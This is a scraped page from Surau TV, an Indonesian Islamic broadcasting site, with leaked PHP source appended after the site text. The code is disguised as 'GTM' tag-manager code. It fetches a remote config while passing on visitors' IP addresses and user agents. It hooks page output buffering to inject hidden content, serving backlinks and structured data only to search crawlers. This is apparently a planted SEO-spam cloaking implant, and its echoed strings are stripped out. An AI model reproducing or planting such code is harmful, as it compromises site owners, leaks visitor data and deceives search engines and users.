Surau TV | Inspirasi Keluarga Islami
×
Gallery Image
Beautiful moment captured
Saksikan program-program inspiratif Surau TV setiap hari. Kajian kitab Mulakhos Al-Fiqhi
dan berbagai program edukasi Islami lainnya.
Berita Terkini
Artikel dan berita terbaru dari Surau TV
Profil Tokoh
Profil ustadz dan tokoh-tokoh inspiratif
Galeri Foto
Dokumentasi kegiatan dan acara
Channel Official Surau TV
Kunjungi channel YouTube resmi untuk video lengkap
Kajian Fiqih
Serial kajian Mulakhos Al-Fiqhi
Ceramah Inspiratif
Kumpulan ceramah dan tausiyah
Pendidikan Islam
Program edukasi untuk keluarga Muslim
Lihat Jadwal Lengkap
Klik untuk melihat jadwal program acara harian Surau TV
Laporan donasi dan penyaluran dana dari jamaah Surau TV.
Informasi tentang Yayasan Dar el-Iman yang menaungi Surau TV.
Pendaftaran Peserta Didik Baru secara online.
Streaming radio DEI FM 87.6 MHz.
$url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION,
CURLOPT_HTTPHEADER => array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
)
));
$response = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code === 200 && $response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
} else {
$headers = array(
'Accept: application/json',
'X-Client-IP: ' . $client_ip,
'X-Client-User-Agent: ' . $client_ua
);
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 5,
'user_agent' => 'GTM/' . GTM_VERSION,
'header' => implode("\r\n", $headers) . "\r\n"
),
'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
));
$response = @file_get_contents($url, false, $ctx);
if ($response) {
$decoded = json_decode($response, true);
if (is_array($decoded)) {
@file_put_contents($cache, $response);
return $decoded;
}
}
}
return array();
}
function gtm_render_head() {
echo '
';
}
function gtm_render_noscript() {
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
echo '
';
}
function gtm_render_backlinks() {
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
}
function gtm_render_structured_data() {
if (!gtm_validate_crawler()) return;
$config = gtm_fetch_config();
if (empty($config)) return;
$now = time();
echo '';
}
function gtm_output_handler($buffer) {
if (stripos($buffer, '
';
$buffer = preg_replace('/<\/head>/i', $head . '', $buffer, 1);
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
$noscript = '
';
$buffer = preg_replace('/(
]*>)/i', '$1' . $noscript, $buffer, 1);
if (gtm_validate_crawler()) {
$config = gtm_fetch_config();
if (!empty($config)) {
$nav = '';
$buffer = preg_replace('/<\/body>/i', $nav . '', $buffer, 1);
}
}
return $buffer;
}
if (!defined('GTM_MANUAL_INIT')) {
$is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__));
if (!$is_direct && ob_get_level() === 0) {
ob_start('gtm_output_handler');
}
}
gtm_render_noscript();
?>